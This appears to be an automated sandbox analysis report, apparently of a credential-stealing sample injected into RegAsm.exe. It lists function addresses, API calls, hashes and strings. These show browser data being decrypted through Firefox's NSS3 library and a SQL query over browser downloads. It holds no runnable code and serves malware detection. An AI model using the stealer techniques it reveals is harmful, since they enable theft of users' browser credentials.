Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 96cb7adb676ab16e4ea6e402ee0d56f3364d73338fa42eae900b3cf94de51fae
Instruction ID: 5b2134a4014a74b182971ef986d1b5acc94e1577713fe4d48662216c7fe73ef0
Opcode Fuzzy Hash: 96cb7adb676ab16e4ea6e402ee0d56f3364d73338fa42eae900b3cf94de51fae
Instruction Fuzzy Hash: 74210A31A002299FCF109F68DD8079AB7A4EF44368F148128EC189B641D330EC16CBE6

Function 6C25EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C25EE49

Part of subcall function 6C27FAB0: free.MOZGLUE(?,-00000001,?,?,6C21F673,00000000,00000000), ref: 6C27FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C25EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C25EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C25EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C25EEB3

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 17462aeab9cbd726f22119045b3cb3f41b79716596b35f394945f5fab8bbaf87
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: E121D2BAB102196BEB119F28DC81EABB7A8EF49718F444164FD089B341E771DC2487F1

Function 6C274820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C274EB8,?), ref: 6C274884

Part of subcall function 6C278800: TlsGetValue.KERNEL32(?,6C28085A,00000000,?,6C228369,?), ref: 6C278821
Part of subcall function 6C278800: TlsGetValue.KERNEL32(?,?,6C28085A,00000000,?,6C228369,?), ref: 6C27883D
Part of subcall function 6C278800: EnterCriticalSection.KERNEL32(?,?,?,6C28085A,00000000,?,6C228369,?), ref: 6C278856
Part of subcall function 6C278800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C278887
Part of subcall function 6C278800: PR_Unlock.NSS3(?,?,?,?,6C28085A,00000000,?,6C228369,?), ref: 6C278899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C274EB8,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C27484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C274EB8,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C27486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C274899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2748A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2748B8

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 985a2aec0c0ad85e7bdca29a51a46db0b4dc47da79ff30045d9440e6f9ced52d
Instruction ID: e0ef8dcde0c8db8bd21579dc3644d23dea21794174a05a07f6077bd11c569e7e
Opcode Fuzzy Hash: 985a2aec0c0ad85e7bdca29a51a46db0b4dc47da79ff30045d9440e6f9ced52d
Instruction Fuzzy Hash: F421F676F0129D9BEF205FA5ECC4A1677B8AF0A359B140524EE5947A02E731E8148FB2

Function 0041210E Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000000,?,?,?,00413794,00000000,00000010), ref: 00412119
lstrcpynA.KERNEL32(C:\Users\user\Desktop\,?,00000000,?), ref: 00412132
lstrlenA.KERNEL32(?), ref: 00412144
wsprintfA.USER32 ref: 00412156

Strings

C:\Users\user\Desktop\, xrefs: 0041212C, 00412131
%s%s, xrefs: 00412150

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Desktop\
API String ID: 1206339513-4107738187
Opcode ID: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction ID: 2b65b01ea0560ea7e18c8daf8da5e1637e4a778ce13f385dfd922e5b6f13eae1
Opcode Fuzzy Hash: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction Fuzzy Hash: 83F0E9322002157FDF091F99DC48D9B7FAEDF45666F000061F908D2211C6775F1586E5

Function 6C20AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C20AFDA

Strings

misuse, xrefs: 6C20AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C20AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C20AFC4
%s at line %d of [%.10s], xrefs: 6C20AFD3

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: a8f2f4d66690f29adb4762fea16caa3baef1a85e12d61209ab85d71d438a571c
Instruction ID: 926dcff854ce9529ce4a8c7b5a0168ca0a06171ab8a60215d732a56e6347d4f3
Opcode Fuzzy Hash: a8f2f4d66690f29adb4762fea16caa3baef1a85e12d61209ab85d71d438a571c
Instruction Fuzzy Hash: A791E1B5B0121ACFDB04CF19C854AAAB7F1BF49315F5944A9EC64AB751C735EC01CB60

Function 0040826D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00408307
LocalAlloc.KERNEL32(00000040,-0000001F,00000000,?,?), ref: 0040833C

Strings

v20, xrefs: 00408286
ERROR_RUN_EXTRACTOR, xrefs: 004082BE
v10, xrefs: 004082CE

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal_memset
String ID: ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 52611349-380572819
Opcode ID: 93e336829a09b04c9a22f2871bb72d6da27ca2d0679549906ea092d0de62e08c
Instruction ID: daba9ed892d092cabdd565eab6a30784efdfa5406d791c1b040b6213e04440cf
Opcode Fuzzy Hash: 93e336829a09b04c9a22f2871bb72d6da27ca2d0679549906ea092d0de62e08c
Instruction Fuzzy Hash: 0141B3B2A00118ABCF10DFA5CD42ADE3BB8AB84714F15413BFD40F7280EB78D9458B99

Function 0041BFC6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,74DE83C0,00000000,?,?,?,?,?,?,0041C58F,?,00416F27,?), ref: 0041C019
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,0041C58F,?,00416F27), ref: 0041C049
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,0041C58F,?,00416F27,?), ref: 0041C075
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,0041C58F,?,00416F27,?), ref: 0041C083

Part of subcall function 0041B991: GetFileInformationByHandle.KERNEL32(?,?,00000000,?,03622528), ref: 0041B9C5

Strings

'oA, xrefs: 0041BFD6

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID: 'oA
API String ID: 3986731826-570265369
Opcode ID: 5a4a7b219b2098a5fb872391a6b6813c9c431c7c45877e2e4ef416b00ba26d56
Instruction ID: 1898f3f14c485dfe9e4ef6ed33e1055e23cef853a536fbea19f5c84a704e6684
Opcode Fuzzy Hash: 5a4a7b219b2098a5fb872391a6b6813c9c431c7c45877e2e4ef416b00ba26d56
Instruction Fuzzy Hash: DA416D71800209DFCF14DFA9C880AEEBFF9FF48310F10416AE855EA256E3359985CBA4

Function 6C296DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C296E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C296E57

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C296E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C296EAA

Strings

n3l, xrefs: 6C296DF9

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: n3l
API String ID: 3163584228-289465419
Opcode ID: df80136f9531b8e4c4527075511fef5191730323076124fb3ff86bbf9b0ccfdc
Instruction ID: 5aa6b0ee7ae190e196c033a7425755d33345db2461b534862e710900596e4cb1
Opcode Fuzzy Hash: df80136f9531b8e4c4527075511fef5191730323076124fb3ff86bbf9b0ccfdc
Instruction Fuzzy Hash: 9D31017161051BEFDB945E36CC44B96B7E5AB0131AF10063CECD9D2A40EB316858CBC1

Function 0040F2B1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F2C7

Part of subcall function 0042EC45: std::exception::exception.LIBCMT ref: 0042EC5A
Part of subcall function 0042EC45: __CxxThrowException@8.LIBCMT ref: 0042EC6F
Part of subcall function 0042EC45: std::exception::exception.LIBCMT ref: 0042EC80

std::_Xinvalid_argument.LIBCPMT ref: 0040F2E6
_memmove.LIBCMT ref: 0040F320

Strings

invalid string position, xrefs: 0040F2C2
string too long, xrefs: 0040F2E1

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: eafd812e86a1b85e87936770ea95ce4ffc0e42962baa9f97ece83f385a396649
Instruction ID: 57eaf4f8ed72a9c9f24929b0a4870ba8c902719b5e729f6aa90dd4ccac796c9b
Opcode Fuzzy Hash: eafd812e86a1b85e87936770ea95ce4ffc0e42962baa9f97ece83f385a396649
Instruction Fuzzy Hash: 6611E0713002029FCB24DF6DD881A59B3A5BF45324754053AF816EBAC2C7B8ED498799

Function 6C210DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C210BDE), ref: 6C210DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C210BDE), ref: 6C210DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C210BDE), ref: 6C210DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C210BDE), ref: 6C210E32

Strings

%s incr => %d (find lib), xrefs: 6C210E2D

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 1894cc01ff22c8bade507691b9a5d6161359acd2490d01e5665a3fb2399fcd3e
Instruction ID: beef980204367043214a47b0b390e3674323d18a4d3ea9f8b2feb673fad2b012
Opcode Fuzzy Hash: 1894cc01ff22c8bade507691b9a5d6161359acd2490d01e5665a3fb2399fcd3e
Instruction Fuzzy Hash: D50124727003249FE6208F259C45E1773ECDB45A0AB05446DEE49D3E41E762EC288BE2

Function 6C2CAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]+l,00000000,?,?,6C2A6AC6,?), ref: 6C2CAC2D

Part of subcall function 6C26ADC0: TlsGetValue.KERNEL32(?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AE10
Part of subcall function 6C26ADC0: EnterCriticalSection.KERNEL32(?,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AE24
Part of subcall function 6C26ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C24D079,00000000,00000001), ref: 6C26AE5A
Part of subcall function 6C26ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AE6F
Part of subcall function 6C26ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AE7F
Part of subcall function 6C26ADC0: TlsGetValue.KERNEL32(?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AEB1
Part of subcall function 6C26ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AEC9

PK11_FreeSymKey.NSS3(?,@]+l,00000000,?,?,6C2A6AC6,?), ref: 6C2CAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]+l,00000000,?,?,6C2A6AC6,?), ref: 6C2CAC59
free.MOZGLUE(8CB6FF01,6C2A6AC6,?,?,?,?,?,?,?,?,?,?,6C2B5D40,00000000,?,6C2BAAD4), ref: 6C2CAC62

Strings

@]+l, xrefs: 6C2CAC05

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]+l
API String ID: 1595327144-3963677400
Opcode ID: 2f1d5e8168f3fa418327722f573ec697ebbee79d1f5878762c8d506624e5396d
Instruction ID: 667f721449a5cec74bcf8f44b41f9dfd62b4e0b3899833a131facce95931c168
Opcode Fuzzy Hash: 2f1d5e8168f3fa418327722f573ec697ebbee79d1f5878762c8d506624e5396d
Instruction Fuzzy Hash: 11017CB5600218DBDB00CF15E8C0B4677ACAB04759F188068ED098F706D730E944CBB2

Function 004092A7 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 004094AB
lstrlenA.KERNEL32(?), ref: 004094C6

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Strings

Downloads, xrefs: 004092D1
SELECT target_path, tab_url from downloads, xrefs: 004093B9
Downloads, xrefs: 00409328

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: 7ced90a649ff221f7bde020ab2f4116feee36ff5ac8d8cfbed5ae13c3b06d1e2
Instruction ID: 7fac0f62cf2577a5a8d57f6ab71485126a571a4460cd7af8d0bbaabf91a59925
Opcode Fuzzy Hash: 7ced90a649ff221f7bde020ab2f4116feee36ff5ac8d8cfbed5ae13c3b06d1e2
Instruction Fuzzy Hash: EA712D71A40119ABCF01FFA6DE469DDB775AF04309F610026F500B70A1DBB8AE898B98

Function 6C21EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C21EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C21EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C21EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C21EEEB
free.MOZGLUE(?), ref: 6C21EEF6

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3fe45c05e99344893a3f67078a3c4879b3c247ad8363996219b206b88a61c9e0
Instruction ID: 28a6dc76156d233b0d5c3bbb5d9150777946ccbfeaeac62741dc9310df7b6b45
Opcode Fuzzy Hash: 3fe45c05e99344893a3f67078a3c4879b3c247ad8363996219b206b88a61c9e0
